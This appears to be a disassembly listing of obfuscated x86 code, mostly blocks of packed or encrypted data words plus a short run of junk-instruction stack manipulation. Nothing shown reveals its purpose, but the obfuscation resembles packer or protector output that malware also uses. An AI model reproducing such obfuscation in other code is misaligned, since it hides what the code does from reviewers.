dd 6EAE9C2Dh, 7D3C2369h, 81AC3D79h, 0CA0D2B28h, 0C73CB9CCh
dd 0C2A3E740h, 6DDA01FAh, 7E187B61h, 39AE9452h, 0DF048323h
dd 0D8434894h, 3375804h, 45F653D6h, 9CFC1815h, 347F06A7h
dd 0E1048275h, 0EB32767Eh, 0D6943562h, 8723696Eh, 39AE0F35h
dd 0A5186307h, 25419AADh, 3D047CF8h, 5357h, 8947D000h
dd 0D614A635h, 13995C83h, 39AEFCCAh, 7BB9CBE6h, 0BEFAFA85h
dd 878F7841h, 5F7B6A9h, 0AE5A20B9h, 0FD6F6C2Fh, 0EBB19FE6h
dd 0E03B70B5h, 4809526Bh, 99FC18C7h, 0F9FCBFA2h, 0DAE368B3h
dd 6C2FAEECh, 0AC9A2369h, 98266A6Eh, 198E4A70h, 0B4000000h
dd 94527E18h, 0B94809AEh, 0FD64FC18h, 7846B3FFh, 6A6E94AEh
dd 4A709826h, 40E9696Eh, 0FC18B90Fh, 0D3C69C6h, 0F90C904Ah
dd 41C06B7Ch, 4AD1D71Eh, 0B05FB801h, 5DFC1D3Ah, 8A1F2B1Bh
dd 689222ADh, 0AB9637CDh, 1F62682Eh, 0CAB5D0DEh, 3E934B8Bh
dd 656F1549h, 3FBCCF04h, 743AA3AEh, 6B5B9D11h, 0CAD0DE1Fh
dd 8CF914Ch, 1CBD3C3Ah, 0FC1C095Bh, 0E72CBD8Ah, 2Ah, 29696EDBh
dd 54B7ECB2h, 0AFD2F69Bh, 0FAD2680Ah, 4706BB01h, 3C3D0E94h
dd 0EF9FAA0h, 0E259C5CBh, 6A2C56B5h, 0EDAB2C9Ah, 696EFBE1h
dd 9EEDB129h, 3E61E05Dh, 22ABF2B6h, 1805F299h, 0F3B23534h
dd 0EC8580Ah, 0C6D34DA7h, 0E0F97289h, 0FADE6387h, 2FA79A01h
dd 11903E6Bh, 0C5E6AA2Eh, 0B339AEE1h, 0DA44F4FBh, 55FDB617h
dd 704A737Fh, 8723696Eh, 1F5B435h, 55462485h, 3D040788h
dd 26C7h, 7E18FB00h, 9AE9452h, 0FC18B948h, 0AE04A299h
dd 266A6E94h, 4EF17098h, 18B968E9h, 0F9C2B9FCh, 1D8E0Dh
dd 18B40000h, 0AE94527Eh, 18B94809h, 0CBF764FCh, 6A6E94AEh
dd 0D60F51FAh, 144156B2h, 6E4A70AEh, 0ECB22969h, 0E40B54B7h
dd 31FC1D3Ah, 0C6337F77h, 7267DAC0h, 7B18D134h, 7377D057h
dd 0B101FE40h, 33A8A90Eh, 4974F9FEh, 9CF3C2B4h, 3881FE64h
dd 430995E2h, 94527E18h, 0A9E7EFAEh, 0DD1E6D31h, 0BD1A0560h
dd 0FC18B9BCh, 18A11E55h, 696E897Dh, 0F358723h, 4078855h
dd 5CC73Dh, 18FB0000h, 0AC2F527Eh, 0B9CB8C2Dh, 2D1AFC18h
dd 18B95B1Ch, 2CBD8AFCh, 4809AE5Eh, 99FC18B9h, 0B98ECF68h
dd 0E847FC18h, 0B99FD079h, 0F9B6FC18h, 20DA9D8Ch, 0AE7F4B9Ch
dd 2C6A6E94h, 519AE1AFh, 45E265E4h, 0FC18B914h, 4EDDE316h
dd 0B520010Dh, 0EA2794F7h, 4A7015D1h, 2F8Eh, 7E18B400h
dd 8813A158h, 0AEA81643h, 18B94809h, 0CBF764FCh, 0ACECEFAEh
dd 0D005602Ch, 0E7DF429Bh, 0A3E7EFAEh, 1FA3571Ah, 0EBEFAED3h
dd 814506A7h, 0D823696Eh, 13DF1659h, 18B985B6h, 0AAE75CFCh
dd 78C11A53h, 0FC1D3A59h, 6412E2A4h, 0DFE8B625h, 0A5216790h
dd 484913C4h, 62917BF4h, 318E1D4Ah, 8609382Ch, 38B1A207h
dd 376DFC1Ch, 849AC032h, 5962D945h, 0FE7BE6F0h, 0C3380901h
dd 73A19237h, 3B70F9FEh, 4F7591CEh, 94527E18h, 696E704Ah
dd 0B2EFB329h, 0ECDC1A8Fh, 73A5C8Fh, 0F35C0A6h, 4078855h
dd 1D54C53Dh, 7B01360Eh, 258409D2h, 0BE000000h, 2F527E18h
dd 0ECE9B7BAh, 75567971h, 4809AEB1h, 99FC18B9h, 94AE04A2h
dd 98266A6Eh, 3E8E4A70h, 0B4000000h, 9C587E18h, 0AE07A318h
dd 18B94809h, 5A1582FCh, 1546E3E8h, 0CCFC18B2h, 0A748E677h
dd 4C5088FFh, 22BBC39h, 7A4F4909h, 3F22E1A9h, 18EBD99Ah
dd 0C63308FCh, 6E94AEF8h, 7098266Ah, 23696E4Ah, 317D7D3Ch
dd 2F348DA8h, 0FBA3043Bh, 3101FACEh, 0AC28298Eh, 45E2F9FAh
dd 0F9FAAC14h, 93E876CDh, 0E067DC4Ah, 0AC97D861h, 0F14EF9FAh
dd 143932E8h, 41A83130h, 5F07E35Ah, 0F6D7DD1Ch, 642AD190h
dd 10B9382Fh, 0F7D2125Fh, 85E0AE2Dh, 8477CA50h, 316EEF3Eh
dd 95428DA8h, 37768B17h, 7FE2FBBFh, 0A6E93C7Ah, 11AAF0E7h
dd 2BB331C8h, 0BA8ACC47h, 810D8B4Ch, 2A7137A0h, 0F0B22CABh
dd 4827589h, 0E7F31A13h, 1A53AAF0h, 0CD1570ADh, 9247B383h
dd 1EDDDD1Eh, 8BC07590h, 8F1B05Eh, 0C8CE0948h, 2E2F38BDh
dd 0EAA08B57h, 6C04EEFFh, 4731FCCh, 0E31958CFh, 4E0FA8DFh
dd 87A08BEEh, 2D741FA8h, 3, 6E9DA751h, 96D92C68h, 81C05B61h
dd 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h, 0C1009B21h
dd 0CF769519h, 0F2788307h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
mov edi, 38105601h
xor edi, 24507AA5h
add edi, 78EA7A0Ch
neg edi
and edi, 3D6B0FBBh
xor edi, 1A101747h
xor edi, 32511E53h
add ebp, edi
pop edi
sub ebp, 4
xchg ebp, [esp]
pop esp
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esi
push 568Dh
mov [esp], edx
push 5E89633h
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
sub esp, 4
mov [esp], ebx
mov ebx, esi
mov [edx+8], ebx
pop ebx
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
db 0B9h, 0CCh, 0A2h
dd 0E89DB9B8h, 0FFC50305h, 7D4844E0h, 0FDA5F40h, 24946245h
dd 276E710Eh, 4C53BF43h, 0C2C5D318h, 0CAFA286Bh, 0A71DAC18h
dd 0B311AC11h, 0AA6DD05Dh, 3E07AE22h, 0E82CAF14h, 0C0C92F58h
dd 344F291Dh, 0F4B5F48h, 5B47B17Fh, 0AD77B36h, 0FAFE3439h
dd 0BC560340h, 5C5D3F6Ah, 0DB71E772h, 3B9E107Bh, 13E802h
dd 0C7B40000h, 0B7F26A3Bh, 0A4954B5Eh, 24854FEh, 0BD85B8DAh
dd 0F5BF87Eh, 0C381C7B7h, 7385h, 5A7BB866h, 0A07349B9h
dd 0F4F18143h, 0E843A06Fh, 0Ch, 8B972997h, 78223524h, 339F2CA2h
dd 66138B58h, 0C281F38Bh, 2D45598Ah, 35D68166h, 4BF28135h
dd 816DD5DCh, 0D53B01C2h, 0EF81660Fh, 13892B04h, 6601EB83h
dd 4B4BF78Bh, 11E9604Bh, 70000000h, 51861D3Bh, 0A4FDC047h
dd 164D46A6h, 700C6AD5h, 0DB89BB66h, 1E98161h, 0F000000h
dd 0FFFFAC85h, 0E8E58AFFh, 11h, 0E36B5058h, 94E03C7Fh
dd 954653Dh, 0EB2BFF11h, 0DE902h, 3CF30000h, 917DB994h
dd 33BBDFB5h, 5F6FB2AAh, 260DB966h, 5AEFC781h, 0B1BB0000h
dd 0BE49E725h, 169Ah, 0DE9h, 0DF188200h, 85ED38A4h, 2371BE50h
dd 178B0E36h, 8168E880h, 2D484FC2h, 0FEC28118h, 8121A538h
dd 0B69EEDC2h, 4880F6Ch, 60000000h, 8961BFB5h, 7E917h
dd 3D900000h, 46D6809h, 4EF83D0h, 943EABB8h, 850F4E4Ah
dd 0FFFFFFC2h, 8DC88B66h, 0E8A04B8Dh, 893DB205h, 0E20BE98Dh
dd 91850105h, 0C705E210h, 0E2076185h, 583005h, 0F3BF0F00h
dd 1B5585C7h, 5E2h, 0BF0F0000h, 0D9B5FFF1h, 0F805E21Fh
dd 0B1595FFh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 3485C9C3h, 3B9A5C25h, 84EAA8BFh
dd 0F5BD0340h, 6A05E20Ah, 0B995FF00h, 8B05E20Ah, 0BA1DEBC0h
dd 0AC336552h, 3B910B89h, 0F91C1A4Ch, 8D78534Eh, 7C2357A0h
dd 0D9B0198Fh, 480FDC76h, 0A1138D8Dh, 816605E8h, 89829FE6h
dd 0E20BE98Dh, 0C7D98A05h, 0E2076185h, 5FB405h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0F6D064B0h, 0FFE9E1Bh, 581h, 0DB816600h, 5E8A470h, 94000000h
dd 559A1E7Dh, 168F0Fh, 11E90000h, 0A1000000h, 9818057Ch
dd 71C22267h, 5567911Fh, 0F28C3A70h, 5585C75Ah, 5E21Bh
dd 0F9000000h, 58C0F50h, 66000000h, 6C2CD081h, 0EDB5FF5Eh
dd 0BE05E218h, 1CABF455h, 0B1595FFh, 0CCBA05E2h, 6A495204h
dd 0B995FF00h, 8B05E20Ah, 8359EBC0h, 4DFA0D45h, 63873B82h
dd 0AE41C505h, 5920918Eh, 990DAA14h, 0A7364A90h, 1C202EC8h
dd 4A44463Fh, 9F068132h, 62E5482Dh, 0BC4F88EFh, 0B7924703h
dd 0F07AB77Eh, 8481C01Bh, 0CB17F026h, 75ADB00Dh, 40C57A9Ah
dd 31051B9h, 807D4E7Bh, 52E13328h, 0DE8DF63Ah, 6B4A8FD7h
dd 0A1E58D8Dh, 0BD8905E8h, 5E205C9h, 0E98D89F8h, 6605E20Bh
dd 85C7FE8Bh, 5E20761h, 6334h, 85C7F88Bh, 5E21B55h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D6C35545h
dd 72D7CB71h, 81858B53h, 0FF05E230h, 0E20659B5h, 0B5896005h
dd 5E21379h, 0FEFEF181h, 0FF614FEFh, 0E20B1595h, 0FF006A05h
dd 0E20AB995h, 0EBC08B05h, 383EA66Ah, 0D7179C77h, 0C9AE829Eh
dd 9B5CB4ADh, 0D48170C2h, 8172AD47h, 0D1122646h, 0A1DCF065h
dd 1121EDBCh, 0DF514EC7h, 0E33C70E7h, 0B1E2B69Eh, 8FD1DC80h
dd 0C706F924h, 78B0F2ADh, 7F8F3240h, 920CAC08h, 0FA59CEDEh
dd 0CF7711F1h, 0F7FE9983h, 4CF07563h, 257305B9h, 0E0204261h
dd 0E0165E48h, 4B7FC82Eh, 8EDCD64h, 0E8B5660Ah, 5, 1862C4D4h
dd 65BD8BBFh, 5B05E217h, 6E67C381h, 78680000h, 8900001Bh
dd 0E232FDBDh, 0B5015805h, 5E22409h, 0B5310B8Bh, 5E21D41h
dd 5DAF181h, 952B2E8Dh, 5E226A9h, 0DF58E981h, 0F78158EDh
dd 12A65C1Ch, 5F1EC181h, 0B533741Ah, 5E20E81h, 0F2816651h
dd 38F9FD4h, 319CEB81h, 0C38175D2h, 75D23198h, 81D68B66h
dd 1E8h, 0B1850F00h, 0E8FFFFFFh, 0Eh, 77A38A66h, 856DBB21h
dd 0DAD1E1D0h, 0BA66F835h, 8D5FA7A7h, 0E8A35D8Dh, 50006A05h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0BE711DDCh, 5F09FA99h, 2C51B503h, 816605E2h, 8959B8E8h
dd 0E20BE98Dh, 0C6816605h, 85C7777Fh, 5E20761h, 70B8h
dd 2870Fh, 0C18B0000h, 1B5585C7h, 5E2h, 3BF0000h, 0FF3E3ABFh
dd 0E21D05B5h, 0D88B6605h, 0B1595FFh, 8B6605E2h, 0FF006AF2h
dd 0E20AB995h, 0EBC08B05h, 0CAFB616Ch, 0B71A89DDh, 6A92C0F6h
dd 9199ACE3h, 0F3425219h, 0F11854CEh, 0EB9A6C27h, 90B05A33h
dd 0AAF37EDBh, 0C4C7F7F2h, 971EF0B7h, 33DE1126h, 0EAB8A9DFh
dd 7882F820h, 291C2A02h, 1F23A8BEh, 0DDB8C213h, 0A97E513Fh
dd 0A47BC129h, 316BAE54h, 3865897Eh, 690E5444h, 14D13A0h
dd 8307E97Dh, 0BEA34391h, 85521A62h, 4AD7734Fh, 15FE943h
dd 8B520000h, 0E860D4h, 5D000000h, 0A3DCED81h, 428B05E8h
dd 38453D08h, 850F7826h, 138h, 8B0C428Bh, 0C8D3184Ah, 782BC1BBh
dd 83C33328h, 858904E8h, 5E20BE9h, 8B04588Bh, 10428BF8h
dd 0D3184A8Bh, 6617BEC8h, 0C6339792h, 0E083C72Bh, 4E883FCh
dd 7618589h, 428B05E2h, 55858914h, 8B05E21Bh, 0E9531842h
dd 0B0h, 18EDB5FFh, 0B9E905E2h, 0FF000000h, 0E210E5B5h
dd 0AEE905h, 0B5FF0000h, 5E21FD9h, 0A3E9h, 61B5FF00h, 0E905E223h
dd 98h, 659B5FFh, 8DE905E2h, 0FF000000h, 0E2325DB5h, 82E905h
dd 0B5FF0000h, 5E21CD1h, 77E9h, 0FDB5FF00h, 0E905E221h
dd 6Ch, 3249B5FFh, 61E905E2h, 0FF000000h, 0E21DF1B5h, 56E905h
dd 0B5FF0000h, 5E23045h, 4BE9h, 79B5FF00h, 0E905E22Ah
dd 40h, 1DC9B5FFh, 35E905E2h, 0FF000000h, 0E203DDB5h, 2AE905h
dd 0B5FF0000h, 5E21D05h, 1FE9h, 0CDB5FF00h, 0E905E22Ah
dd 14h, 0BB8D88Bh, 66000000h, 8D8DE3F7h, 5E8A43Dh, 0E1FFC803h
dd 0B1595FFh, 8B5B05E2h, 0E20BE985h, 4583905h, 0F850Fh
dd 6A530000h, 0B995FF01h, 5B05E20Ah, 0FFFFE2E9h, 0C35A61FFh
dd 6AB85A61h, 0FF77D4C9h, 29858BE0h, 8D05E22Ch, 0E8A52B8Dh
dd 1418905h, 0ABE9C38Bh, 50000000h, 1C3F2E8Dh, 0DA5F72B1h
dd 95A7ACABh, 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h
dd 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h
dd 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h
dd 0F94E0097h, 9FA5B4h, 0F07B6B5Ch, 8A924Ah, 45F352D0h
dd 0A3F653F5h, 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h
dd 0FD756BBFh, 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh
dd 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h
dd 0BCE1B6F6h, 0B3ED7293h, 1E80097h, 3D94E7A6h, 9FFA8332h
dd 80E922D3h, 68000012h, 5E8A7FAh, 0F9DA12E9h, 0A8E568FFh
dd 8E905E8h, 68FFF9DAh, 5E8A9C7h, 0F9D9FEE9h, 0AB2568FFh
dd 0F4E905E8h, 68FFF9D9h, 5E8ABADh, 0F9D9EAE9h, 0AC5968FFh
dd 0E0E905E8h, 68FFF9D9h, 5E8ACE3h, 0F9D9D6E9h, 0AD7E68FFh
dd 0CCE905E8h, 68FFF9D9h, 5E8AE18h, 0F9D9C2E9h, 0AF4F68FFh
dd 0B8E905E8h, 68FFF9D9h, 5E8B073h, 0F9D9AEE9h, 0B1AA68FFh
dd 0A4E905E8h, 68FFF9D9h, 5E8B2D9h, 0F9D99AE9h, 0B4F768FFh
dd 90E905E8h, 68FFF9D9h, 5E8B5DAh, 0F9D986E9h, 0B2F6E0FFh
dd 0E5A15514h, 4C5088F9h, 0B6F4E346h, 1EA45928h, 39C7BF0h
dd 7BCED4DAh, 0D5943280h, 0A7F9B27h, 3C3CFCDh, 1F1445E2h
dd 40CDF9F0h, 23696E9Ah, 5A6099D8h, 0B296BBBCh, 0D84C2A8Fh
dd 0E84701FAh, 23D3929Dh, 0EC0B0467h, 4139530Dh, 0EB3495C2h
dd 0F9FA0B56h, 0FC330345h, 3FE6C121h, 5F0FCD8Ch, 3D54F86h
dd 0C05B9034h, 29CD328Bh, 0F1000000h, 0D0577B18h, 0FAD1C777h
dd 0DA211E01h, 0F990CE5Bh, 59167EABh, 0B20A2780h, 0DF19F9FAh
dd 1E6DA0E7h, 13C23FE6h, 0E4000001h, 0A85E39AEh, 0BFD8E617h
dd 0DAE3D860h, 49EE6297h, 0FC18A208h, 2C7068D9h, 0EA279CD9h
dd 6C91E277h, 7EE657F0h, 403FFC18h, 27FC12D7h, 188CD182h
dd 0FE2B00FCh, 0DE1F46EDh, 0CD0AB5D0h, 8CB3A405h, 0D079FC18h
dd 0FC188C9Fh, 0E65DF9B6h, 9237B6A9h, 0FC188FA1h, 9BA23B70h
dd 0FD199F58h, 0EB6CCD4Ch, 3AFC188Fh, 17137C4Dh, 55FC188Bh
dd 89F8E6A4h, 36278050h, 34FC1883h, 0E15EC4C0h, 0FB9851B4h
dd 9FF750D7h, 2D01FAD0h, 9B2C706Ah, 0A1AA300Fh, 495782BCh
dd 0BDCC6D1Ch, 50041F07h, 0CDF3641Bh, 76234230h, 0D8CF3D4h
dd 11C74A9Ch, 18A1FBDAh, 0F01EA459h, 0F69A4CB1h, 0EFFF6963h
dd 4ABBDCh, 0ADFBDED1h, 50020B70h, 0E085FE7Dh, 0FD581h
dd 26629400h, 890DC9B8h, 0F0BC3C0Dh, 5A6097EAh, 8210CDBCh
dd 0B708EF04h, 0EF527846h, 4938A6ECh, 0BE830F93h, 6F577339h
dd 1E80B116h, 2C51F9F0h, 0ED6D6EEEh, 18B90B4Ch, 306DDAFCh
dd 6422D7AAh, 7B18707Eh, 8A119D5Dh, 52151441h, 5BC6E7A5h
dd 0FAD17CFEh, 0A9D89701h, 76A9EFE6h, 6DEE3D83h, 0DB68315Ch
dd 0C8F9FAA1h, 9E73B68Eh, 0D3FE62Bh, 0C3h, 23696E31h, 5E6499D8h
dd 0BDC462CFh, 0B324FC18h, 3225716Eh, 99D8E113h, 0CDBC5A60h
dd 72E3440Ch, 0A3FC1867h, 0B30C9FD4h, 2287BAAEh, 1FA34E8h
dd 162E9700h, 4A80C31Dh, 73F80391h, 0B5A60306h, 6CF9FBDAh
dd 0D150B617h, 0FBDAC788h, 0B3A405F9h, 62F9FBDAh, 0C5320915h
dd 5D711ED9h, 0AE98D2Ah, 4B20041Eh, 5A6895D4h, 8210CDBCh
dd 7D222A65h, 157C09FEh, 0EEAh, 4D494D8Bh, 16BCF8FCh, 0FF1BA753h
dd 414D4B8Ah, 29B5FBE0h, 31AAF392h, 0D7026763h, 7E7CCDC9h
dd 24D59432h, 0D747866h, 0F011ABACh, 0F33B7AF9h, 0BB276D6Eh
dd 0F8B11C6h, 9DDE7BFAh, 6FFC18B9h, 4D3A206Eh, 4AD1DF1Ah
dd 6EC2B801h, 99D82369h, 0CDBC5A60h, 3B7A810Dh, 0B95E1FB8h
dd 0AE2CFC18h, 34529BE2h, 0F6E36E7Fh, 43362AB0h, 3F22060Bh
dd 0FAC31C9Ah, 88F8B701h, 40E193AFh, 0B93E61F6h, 0C11EAF3h
dd 1A62958h, 1748550h, 0E027578Ch, 915CB2Ah, 0C166A932h
dd 0FC96E761h, 87C81190h, 85FF5686h, 84315452h, 797EA19Eh
dd 4AA7C633h, 3F7EE1C5h, 2CA9FCBAh
dd 5FB3149Bh, 0F602B00Ch, 365D673h, 0C7BCF52Bh, 23D4978Ah
dd 0C5206E6Fh, 0CABF5B90h, 0F628F0Dh, 1A01117Bh, 0E08240Fh
dd 2FA90000h, 0DA1A6F6Bh, 897130DEh, 2DA89905h, 0DD1E636Fh
dd 0D5BCCBD7h, 18D13C8h, 0EFEBB920h, 0B65C609Ah, 1A8006F3h
dd 0CD8E2B5Ah, 4F9F010h, 696EDD19h, 62EFD823h, 0CF58DB4Eh
dd 3F4BF15h, 23229485h, 5F8BD4F5h, 0ED01FAFAh, 0CED0557Ch
dd 0DE1DB470h, 0CB00B5D0h, 33DF94F2h, 30371B38h, 18B2CF97h
dd 1269C604h, 1BA95013h, 29724B80h, 0F7DC2A14h, 9FEEB226h
dd 801BA154h, 0F2463E28h, 0CB6CEFAEh, 0F7DC2A8Ah, 0B2D09556h
dd 212D839Eh, 0F7169A40h, 0B6B00946h, 81964BBEh, 613545C8h
dd 0B2000000h, 847033h, 66D770E5h, 64F7DCDBh, 9BD02B71h
dd 432780FFh, 0D0577B18h, 0C8892E51h, 19FC18B9h, 0C1309922h
dd 1401FB05h, 8D18A655h, 0FB6C1348h, 5A10B00Bh, 852225D0h
dd 0F9FAE8D4h, 6A95360Dh, 0E1EDB12Bh, 0FAE8CB66h, 0BA00F9F9h
dd 0E3AF2D1Ch, 0D10B998h, 0E1760000h, 3B4BC0A8h, 3F0BDC6Ah
dd 0D0577B18h, 15FE577h, 0DC433802h, 0FC7DDA5Dh, 15F9F01Fh
dd 15C28D5Eh, 0C1360B97h, 0CA57A0FBh, 51C663E6h, 8807E9F8h
dd 0CCD8CB3h, 21D89B8Eh, 0FAC30893h, 1ADA9D2Ch, 0FDCE0F9Eh
dd 78572h, 0C9129841h, 0E4C855A2h, 9F16C465h, 72C90A2Bh
dd 91CE1E35h, 39186DF8h, 0CAAh, 8D098D4Bh, 567C38BCh, 3FDBE713h
dd 810D8B4Ah, 69753BA0h, 716A33D2h, 17C2A723h, 0BE3C0D89h
dd 6495D4F2h, 4DB4B826h, 0F0126BECh, 33FBBAF9h, 18B9FB88h
dd 218609FCh, 0FC18B930h, 86818AE1h, 0DC2A96Bh, 0EA774099h
dd 0B9E643C6h, 0D002017Bh, 34A5E49Bh, 44B0F376h, 17B02540h
dd 3959CE73h, 0BC2F2AC7h, 6C450F08h, 3259A972h, 6B31A6A9h
dd 96BAA710h, 62903693h, 0FC4B0412h, 7A7C96B7h, 0E54CD9FEh
dd 0C22h, 759115C3h, 0DEC4C034h, 0A7236F6Bh, 99513C2h
dd 0D1FDC338h, 0F9E2BB5Ah, 9F5A2FABh, 46B4F511h, 0ECED5C7Ah
dd 0C53C20AEh, 0F012F364h, 0BB6322F9h, 0D823696Eh, 0C35A6099h
dd 3B473FA9h, 0B95E1FB8h, 0B8F7FC18h, 0FC61B2Fh, 0E4673A04h
dd 18B11243h, 0DDE318FCh, 2A010D4Eh, 6276C91h, 18560000h
dd 51D0577Bh, 6EAE3D38h, 0D98CFAh, 1C86FA7h, 0B6A98602h
dd 4807437h, 0EC5374E1h, 6A30A7EBh, 27D0913Dh, 3D1A61h
dd 44F9F185h, 0F574EBDFh, 244745B2h, 68A70B7h, 0D68E5CA5h
dd 0CAA10413h, 79C77AADh, 0C5ACF9FEh, 0B76h, 0D9C5C137h
dd 0A2286C68h, 0B971BDFh, 0DDF9BF36h, 0A5216F6Ch, 0A556670Eh
dd 4B8EF31Fh, 0F2E85945h, 984120AEh, 0B9C8F412h, 0F0155F10h
dd 4F8FF6F9h, 0D823696Eh, 0C35A6099h, 0C0473FA9h, 3A040F0Dh
dd 594A2h, 0FB888400h, 0BFFC18B9h, 88BBE92h, 0B92F2089h
dd 89E6FC18h, 831A9E56h, 0BE28714Ah, 4A02015Eh, 0FBCCD20Bh
dd 0EE51D0AFh, 4227A3E9h, 3BF41795h, 0AA0F3216h, 4124F3Ch
dd 561398D7h, 51FE7A5Ch, 0AEC6D34h, 4B8D0000h, 0F6FE434Fh
dd 0A55514B2h, 498CFD19h, 0F9E24743h, 0F1902FABh, 65612FACh
dd 0C3CFD504h, 0AA307C7Eh, 7E6422D7h, 0A9AA0F76h, 78F9F015h
dd 0EFAEF135h, 5619A2E8h, 41801BA1h, 618B1298h, 45980FE7h
dd 0EA3A040Fh, 505h, 5D7B18DCh, 0D911CD9Dh, 0EA12512Ah
dd 78C140BDh, 201BE99h, 178087FCh, 0E15891EBh, 820DDE4Dh
dd 0A9016C3h, 0DCEC237h, 70F76487h, 0F16A66D7h, 8BC0BFF9h
dd 6A1A1770h, 315EF9F1h, 19CD6A1Dh, 30041339h, 2E2D3E7Bh
dd 297CFE79h, 0A5146h, 0A2E61000h, 15914524h, 7C40B889h
dd 0A6E41356h, 0E944938h, 338C6B80h, 6BDEC4CAh, 0C5A42270h
dd 3A0F8B17h, 13D3FFBDh, 14043592h, 50DDF9F0h, 23696E6Ah
dd 3D797D3Ch, 5102A7EEh, 80FC18B9h, 6ECB7EABh, 0FC18B9EDh
dd 0D77E4F24h, 0DE2D6B6Ch, 0F53C08BEh, 3A040F18h, 0B907F2B5h
dd 453E320h, 88C70000h, 0FC18B9C6h, 84BBAFB4h, 15EB923h
dd 681F5402h, 0ECEAB029h, 33945C9Dh, 0F9F01C02h, 0DC2F64D3h
dd 0D74A7EE3h, 12493472h, 0EB106F04h, 0FE7A5BD2h, 0B7D1B0D5h
dd 76000009h, 0AB9E0480h, 1E636F2Bh, 79C8D6DAh, 0AF92387Eh
dd 0CD7A602Eh, 5E649926h, 840AF1B0h, 0EDB12B1Eh, 515780E1h
dd 0DF7889B5h, 0F9F0179Eh, 0AE0CCEB7h, 0BAE73B39h, 34D9723Eh
dd 46B4EB39h, 0F9FE617Ah, 0F0E968B3h, 0E78EAC76h, 0A6136720h
dd 0B98D2F47h, 800E8C4Dh, 48D479Ah, 2467E63Ah, 1F50E9B7h
dd 36FC18CFh, 0CFD50679h, 61AE3FBCh, 12Bh, 23696E45h, 0E21659D8h
dd 95420DDEh, 0AC511017h, 755687E6h, 95B9A691h, 0D8613592h
dd 0C3B801FAh, 0A6A2DFB8h, 37B1F9FAh, 2E15C83Fh, 44BA3FE6h
dd 8C000000h, 0A1EDEFAEh, 0E222F18h, 0D1BCBE1Bh, 125701FAh
dd 1C6FA4E8h, 0FAA13E33h, 0C3C90CF9h, 1F50F9B8h, 36F9FAA1h
dd 0CDD30679h, 0E152F7BEh, 30F9FAA1h, 0C1B5377Bh, 0D7AF297Fh
dd 0E62B7D50h, 98D23Fh, 6E140000h, 0E8AE2969h, 8B3F589Dh
dd 63688B1h, 0C6099CC9h, 0F57C8F15h, 0FC678604h, 0B611BDFBh
dd 0FC18CF80h, 0B5515780h, 0B6A99D82h, 0FD3F8311h, 4AEF1201h
dd 0F9FDBF09h, 4FCBD703h, 0C584BBF0h, 3D0C8A18h, 0AAB5F2C0h
dd 0A904602Dh, 88075DCh, 0B7210000h, 6292D7F3h, 11C9B826h
dd 0B520018Dh, 6596EBF7h, 5D04B35Fh, 89159B40h, 577341B8h
dd 3EA4E812h, 82088E4Bh, 5506A3C2h, 8CF9F016h, 6D6E4581h
dd 11C6BB27h, 9C5F5981h, 942D916h, 0F1EAADDCh, 0CA1358A3h
dd 39AE16DCh, 2AA44B83h, 85CC1DFDh, 8C375654h, 90474Bh
dd 2C99D6DAh, 27F23A6h, 0AE5B0000h, 2FABEDEFh, 66D31863h
dd 6C1E23F5h, 8526D181h, 0A65FA7ACh, 2A78637Dh, 5B317421h
dd 3CDE7BEEh, 0D701FA0Ah, 0F240D98h, 1CF9FA6Bh, 6AA7EADAh
dd 0C13FE6E5h, 229h, 0B9C488E5h, 9700FC18h, 3B72BAD5h
dd 0C2BB0C70h, 2177635Dh, 2697F6BCh, 0A8DBCE9h, 0D1098F4Bh
dd 0C07590CDh, 0DD4C9EE7h, 54E70201h, 0FBE426h, 9FDB99B2h
dd 0ED5DC750h, 0E2E489CAh, 6F3B2B5h, 0B2271A80h, 5961A93Eh
dd 158F2622h, 0F1DB0334h, 2865D2F9h, 397F7639h, 853AB5E2h
dd 4432AFD5h, 5A97BE0Fh, 938ACD35h, 6BA6DCB5h, 58AE0B3Eh
dd 0A8041367h, 11AAF0E9h, 9071BEF5h, 5BFE7974h, 75C67CEh
dd 0DB1D0000h, 864E33DFh, 35A58402h, 0D91C6D69h, 897237D3h
dd 81609F3Bh, 0D5F1BF3Ch, 0B35F6594h, 1A800CCEh, 0EEF4B227h
dd 393A9FE6h, 0E8F9F009h, 696E61A5h, 0B90F40E9h, 69C6FC18h
dd 2E9C0D3Ch, 4F403508h, 5DFB7CDDh, 5D2AFC18h, 35BCC7E0h
dd 0FA7C6C4h, 6C6DD9ADh, 27FAA02Eh, 843A04F7h, 141h, 23696EBEh
dd 5A6099D8h, 8D4A0DBCh, 0C87FFC0Fh, 18B9EE6Fh, 7F4827FCh
dd 0EB699986h, 0F0DC9C8Ah, 5AFF62DFh, 1FA9A7Ch, 0E44DD897h
dd 0F9FAD84Fh, 0E72A1A5Ch, 3FE6702Ah, 2781h, 7B18A500h
dd 0C777D057h, 1E01FAD1h, 7B8520FDh, 0D5024049h, 1A54E9B6h
dd 147F9FAh, 0B61FF235h, 0C28C3FE6h, 0B6000000h, 0D823696Eh
dd 2B5E6499h, 0D92C7068h, 0A1204B9Ch, 0A82B7238h, 0FA6D692Fh
dd 0FC190B6Ch, 0F11D9B5Ch, 0F27559C6h, 2F644465h, 0A23B3798h
dd 3ABDFC7Fh, 1BAC297Ch, 0FD9522B2h, 8386FD01h, 92951BC0h
dd 0E16026D3h, 0FD141758h, 6871CEF9h, 3E9A0FB2h, 33E2218Dh
